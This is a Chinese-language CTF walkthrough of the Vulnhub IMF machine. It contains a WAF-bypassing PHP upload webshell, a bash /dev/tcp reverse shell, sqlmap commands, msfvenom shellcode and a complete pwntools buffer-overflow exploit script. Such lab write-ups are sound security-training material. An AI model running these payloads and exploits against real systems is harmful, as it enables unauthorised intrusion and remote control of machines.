[Vulnhub] IMF File Upload BypassBuffer Overflow

信息收集

IP AddressOpening Ports
192.168.8.103TCP:80

$ nmap -p- 192.168.8.103 --min-rate 1000 -sC -sV

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: IMF - Homepage
|_http-server-header: Apache/2.4.18 (Ubuntu)

Flag 1

image-25.png

http://192.168.8.103/contact.php

image.png

flag1{YWxsdGhlZmlsZXM=}

Flag 2

image-1.png

拼接几个文件名

$ echo 'ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ=='|base64 -d

flag2{aW1mYWRtaW5pc3RyYXRvcg==}

Flag 3

$ echo 'aW1mYWRtaW5pc3RyYXRvcg=='|base64 -d

解密:imfadministrator

http://192.168.8.103/imfadministrator/

image-26.png

user=rmichaels&pass[]=123

image-2.png

flag3{Y29udGludWVUT2Ntcw==}

Flag 4

image-3.png

$ sqlmap -u "http://192.168.8.103/imfadministrator/cms.php?pagename=home" --cookie "PHPSESSID=mtcagv7kevus11r651k0ekor65" -D admin -T pages --dump-all --batch

image-4.png

image-5.png

flag4{dXBsb2Fkcjk0Mi5waHA=}

Flag 5

$ echo "dXBsb2Fkcjk0Mi5waHA="|base64 -d

http://192.168.8.103/imfadministrator/uploadr942.php

image-27.png

Bypass 1

在请求体内添加GIF8;并且使用十六进制编码绕过WAF过滤system关键字


GIF8;
<?php
"\x73\79\x73\x74\x65\x6d"($_GET['cmd']);
?>

image-6.png

Bypass 2

$ echo 'FFD8FFEo' | xxd -r -p > test.gif
$ echo '<?php echo `id`; ?>' >> test.gif

GIF8;

<?php
echo `/bin/bash -c 'bash -i >& /dev/tcp/192.168.8.107/10032 0>&1'`;
?>

image-7.png

www-data@imf:/var/www/html/imfadministrator/uploads$ cat flag5_abc123def.txt

image-8.png

flag5{YWdlbnRzZXJ2aWNlcw==}

Flag 6

(Kali)$ ./chisel server -p 8888 --reverse

(tmp)$ ./chisel client 192.168.8.107:8888 R:7788:localhost:7788 &

(tmp)$ ./pspy32

image-9.png

当我们每次输入Agent ID后,会自动以ROOT权限启动一个agent进程

image-10.png

搜索相关agent命令

www-data@imf:/var/www/html/imfadministrator/uploads$ find / -name agent 2>/tmp/res

通过分析发现进入循环的条件是ID等于0x2ddd984(48093572)

image-11.png

report函数中的gets函数存在缓冲区溢出

image-13.png

image-28.png

GDB-Peda & BOF

$ git clone https://github.com/longld/peda.git ~/peda
$ echo "source ~/peda/peda.py">>~/.gdbinit
$ gdb -q ./agents

image-14.png

gdb-peda$ pattern_create 2000
gdb-peda$ pattern_offset 0x74414156

偏移量168

image-16.png

检查二进制文件上启用了哪些安全性

gdb-peda$ checksec

image-17.png

  • CANARY : disabled
    栈保护机制(Stack Canary)没有启用。栈保护是通过在栈帧中插入一个“金丝雀”(canary)值来检测缓冲区溢出攻击,如果金丝雀值被改变,程序会检测到溢出并终止

  • FORTIFY : disabled
    编译时没有启用 _FORTIFY_SOURCE,这是一个用于在编译和运行时增加内存函数安全检查的机制,例如 strcpy 和 memcpy

  • NX : disabled
    没有启用可执行空间保护(Non-Executable, NX)。NX 位用于标记内存区域为不可执行,以防止代码执行在这些区域(如栈或堆)

  • PIE : disabled
    没有启用位置无关可执行(Position Independent Executable, PIE)。PIE 使得可执行文件在每次加载时都随机化其内存地址,从而增加攻击难度

  • RELRO : Partial
    启用了部分的重定位只读(Relocation Read-Only, RELRO)。Partial RELRO 将 .got 部分设置为只读,以防止修改全局偏移表(GOT)

将二进制文件上传,分析获取call地址

http://ropshell.com/ropsearch?h=fabc1afd43f668df0b812213567d032c

image-18.png

在缓冲区168范围内写入ShellCode,通过覆盖EIP值跳转到Call eax(0x08048563)的地址,执行ShellCode。

使用 msfvenom 生成shellcode,要求它避免空字符和换行符。

$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.8.107 LPORT=10034 -f python -b "\x00\x0a\x0d"

image-20.png

利用脚本

# By Maptnh
import argparse
from pwn import *


parser = argparse.ArgumentParser(description='Exploit script using pwntools.')
parser.add_argument('-rhost', required=True, help='Remote host IP address')
parser.add_argument('-rport', type=int, required=True, help='Remote host port')
parser.add_argument('-lport', type=int, required=True, help='Local port to listen on')
args = parser.parse_args()

ip = args.rhost
port = args.rport
local_port = args.lport

client = remote(ip, port)
initial_response = client.recv(512).decode()

# Convert strings to bytes before sending
client.sendline(b"48093572")
response1 = client.recv(512).decode()
client.sendline(b"3")

shellcode = (
    b"\xbe\xd7\x72\xc5\xb1\xd9\xeb\xd9\x74\x24\xf4\x58\x2b"
    b"\xc9\xb1\x12\x31\x70\x12\x03\x70\x12\x83\x17\x76\x27"
    b"\x44\xa6\xac\x50\x44\x9b\x11\xcc\xe1\x19\x1f\x13\x45"
    b"\x7b\xd2\x54\x35\xda\x5c\x6b\xf7\x5c\xd5\xed\xfe\x34"
    b"\x26\xa5\x09\xaf\xce\xb4\x09\x08\x3d\x30\xe8\xe6\x27"
    b"\x12\xba\x55\x1b\x91\xb5\xb8\x96\x16\x97\x52\x47\x38"
    b"\x6b\xca\xff\x69\xa4\x68\x69\xff\x59\x3e\x3a\x76\x7c"
    b"\x0e\xb7\x45\xff"
)

padding = b"A" * (168 - len(shellcode))

call_eax_gadget = b"\x63\x85\x04\x08\n"

payload = shellcode + padding + call_eax_gadget

listener = listen(local_port)
client.send(payload)
listener.wait_for_connection()
listener.interactive()

$ python3 exp.py -rhost 127.0.0.1 -rport 7788 -lport 10034

image-23.png

image-24.png

flag6{R2gwc3RQcm90MGMwbHM=}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/790565.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

揭秘!chatGPT核心技术应用

2022年11月30日&#xff0c;可能将成为一个改变人类历史的日子——美国人工智能开发机构OpenAI推出了聊天机器人ChatGPT-3.5&#xff0c;将人工智能的发展推向了一个新的高度。2023年11月7日&#xff0c;OpenAI首届开发者大会被称为“科技界的春晚”&#xff0c;吸引了全球广大…

个人面试总结

写在前面&#xff1a;以下是自己在拟录用后回顾总结的了一下当时面试题目&#xff0c;把标答写了出来&#xff0c;供以后复习所使用&#xff0c;希望大家理性食用~~ 预祝大家都能找到心仪的工作 笔试题目&#xff1a; 1.1. java中Collection和Collections的区别 Collection…

怎样将aac转换mp3格式?推荐四个aac转MP3的方法

怎样将aac转换mp3格式&#xff1f;当需要将aac格式音频转换为MP3格式时&#xff0c;有几种方法可以轻松实现这一目标。MP3是一种广泛支持的音频格式&#xff0c;几乎所有设备和平台都能播放MP3文件&#xff0c;包括各种音乐播放器、手机、平板电脑和汽车音响系统。而且它也提供…

极狐Gitlab使用(1)

目录 续接上篇&#xff1a;极狐Gitlab安装部署-CSDN博客 1. 关闭注册功能 2. 创建群组 3. 创建用户 5. 邀请成员到群组 6. 设置导入导出项目源 7. 通过gitee导入库 8. 通过仓库URL导入 9. 自创建项目 10. 默认分支main的权限 11. 使用普通用户进入自建库 12. 创建用…

传统的springboot项目中,如何进行添加自定义静态资源访问路径实现对静态资源的访问?

如何配置可以实现在浏览器中配置路径实现对resource资源路径下的index.html个性化定制访问路径 要在Spring Boot项目中配置使特定前缀访问静态资源&#xff0c;可以在application.yml文件中配置路径映射。以下是一个示例配置&#xff1a; 打开你的application.yml文件&#xf…

N6 word2vec文本分类

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊# 前言 前言 上周学习了训练word2vec模型&#xff0c;这周进行相关实战 1. 导入所需库和设备配置 import torch import torch.nn as nn import torchvision …

04OLED简介和调试方法

OLED简介和调试方法 调试方式串口调试显示屏调试其他调试方法总结&#xff1a; OLED简介硬件电路OLED驱动函数 keil调试模式进入方法keil调试界面窗口简单功能说明更加强大的功能 调试方式 电脑想看什么变量可以直接打印到屏幕&#xff0c;但是单片机很多时候由于成本和电路结构…

多协议网关设计架构与实现,支持 RS485/232、CAN、M-Bus、MQTT、TCP 等工业协议接入(附代码示例)

一、项目概述 1.1 背景 随着物联网技术的快速发展&#xff0c;越来越多的设备需要接入网络进行数据交互。然而&#xff0c;不同设备往往采用不同的通信协议&#xff0c;例如工业现场常用的Modbus、CAN、电力载波等&#xff0c;以及物联网领域常用的MQTT、TCP/IP等&#xff0c…

C++类与对象-基础篇

目录 一、什么是类 1.1 语法定义 1.2 访问限定符 1.3 类域 二、类的实例化 2.1 什么是实例化 2.2 类的大小 三、this指针 3.1 引入 3.2 this指针的使用 一、什么是类 1.1 语法定义 class 类名 {}; 说明 类似于C语言中的结构体&#xff0c;括号后分号不能丢类内成员可…

SSM学习5:AOP

简介 面向切面编程&#xff0c;一种编程范式&#xff0c;指导开发者如何组织程序结构。可以在不经打原始设计的基础上为其进行功能增强。 入门案例 案例&#xff1a;在接口执行前输出当前系统时间 开发模式&#xff1a;XML 或者 注解 思路分析&#xff1a; 导入坐标&#xf…

数学建模·模糊评价法

模糊评价法 一种解决评价问题或者得出最佳方案的方法具体定义 三集&#xff1a;因素集&#xff0c;评语集和权重集&#xff0c;通过模拟矩阵的处理得到最合理的评语具体步骤 因素集 因素集的确定不难&#xff0c;难在对分级评价时&#xff0c;对因素集的分级有技巧评语集 …

TIOBE 7月编程排行榜出炉!Python再次出圈!

又到了周三&#xff0c;本周有过半了&#xff0c;大家好呀&#xff01; 每月的TIOBE编程排行榜都是技术社区关注的焦点&#xff0c;作为编程语言流行度的晴雨表&#xff0c;它反映了行业趋势和技术走向。2024年7月的榜单揭晓了一个重要变化&#xff1a;Python再次登上榜首&…

如何批量更改很多个文件夹里的文件名中包含文件夹名?

&#x1f3c6;本文收录于《CSDN问答解惑-专业版》专栏&#xff0c;主要记录项目实战过程中的Bug之前因后果及提供真实有效的解决方案&#xff0c;希望能够助你一臂之力&#xff0c;帮你早日登顶实现财富自由&#x1f680;&#xff1b;同时&#xff0c;欢迎大家关注&&收…

RedisTemplate 中序列化方式辨析

在Spring Data Redis中&#xff0c;RedisTemplate 是操作Redis的核心类&#xff0c;它提供了丰富的API来与Redis进行交互。由于Redis是一个键值存储系统&#xff0c;它存储的是字节序列&#xff0c;因此在使用RedisTemplate时&#xff0c;需要指定键&#xff08;Key&#xff09…

论文学习_Getafix: learning to fix bugs automatically

1. 引言 研究背景:现代生产代码库极其复杂并且不断更新。静态分析器可以帮助开发人员发现代码中的潜在问题(在本文的其余部分中称为错误),这对于在这些大型代码库中保持高代码质量是必要的。虽然通过静态分析尽早发现错误是有帮助的,但修复这些错误的问题在实践中仍然主要…

“连阳抓妖”,连阳抓主升浪 后市能成妖

指标名 连阳抓妖通达信副图指标 是否收费 免费 格式 源码 注:公式不带有未来函数 ► 图表展示 使用技巧 本指标源自网红博主的精辟讲解&#xff0c;专为捕捉“潜力妖股”设计。其核心逻辑简单而高效&#xff0c;仅需满足四大核心条件&#xff0c;即可锁定前期未大涨个股的…

基于51单片机的五路抢答器Protues仿真设计

目录 一、设计背景 二、实现功能 三、仿真演示 四、源程序&#xff08;部分&#xff09; 一、设计背景 近年来随着科技的飞速发展&#xff0c;单片机的应用正在不断的走向深入。本文阐述了基于51单片机的五路抢答器设计。本设计中&#xff0c;51单片机充当了核心控制器的角…

Python实现傅里叶级数可视化工具

Python实现傅里叶级数可视化工具 flyfish 有matlab实现&#xff0c;我没matlab&#xff0c;我有Python&#xff0c;所以我用Python实现。 整个工具的实现代码放在最后,界面使用PyQt5开发 起源 傅里叶级数&#xff08;Fourier Series&#xff09;由法国数学家和物理学家让-巴…

[激光原理与应用-106]:南京科耐激光-激光焊接-焊中检测-智能制程监测系统IPM介绍 - 9 - 图解常见的焊接缺陷/缺欠分类

目录 前言&#xff1a; 1、焊接缺陷的类型 2、焊接缺陷的危害 3、结论 一、功能性缺陷 1.1 虚焊&#xff1a;最重要的非视觉检测的缺陷 1.虚焊的定义 2.虚焊的成因 3.虚焊的危害 4.虚焊的检测与解决 二、成型性缺陷 2.1 黑爆缺陷 1、黑爆缺陷的定义与外观 2、黑爆…

深度优先搜索(所有可达路径)

参考题目&#xff1a;所有可达路径 题目描述 给定一个有 n 个节点的有向无环图&#xff0c;节点编号从 1 到 n。请编写一个函数&#xff0c;找出并返回所有从节点 1 到节点 n 的路径。每条路径应以节点编号的列表形式表示。 输入描述 第一行包含两个整数 N&#xff0c;M&…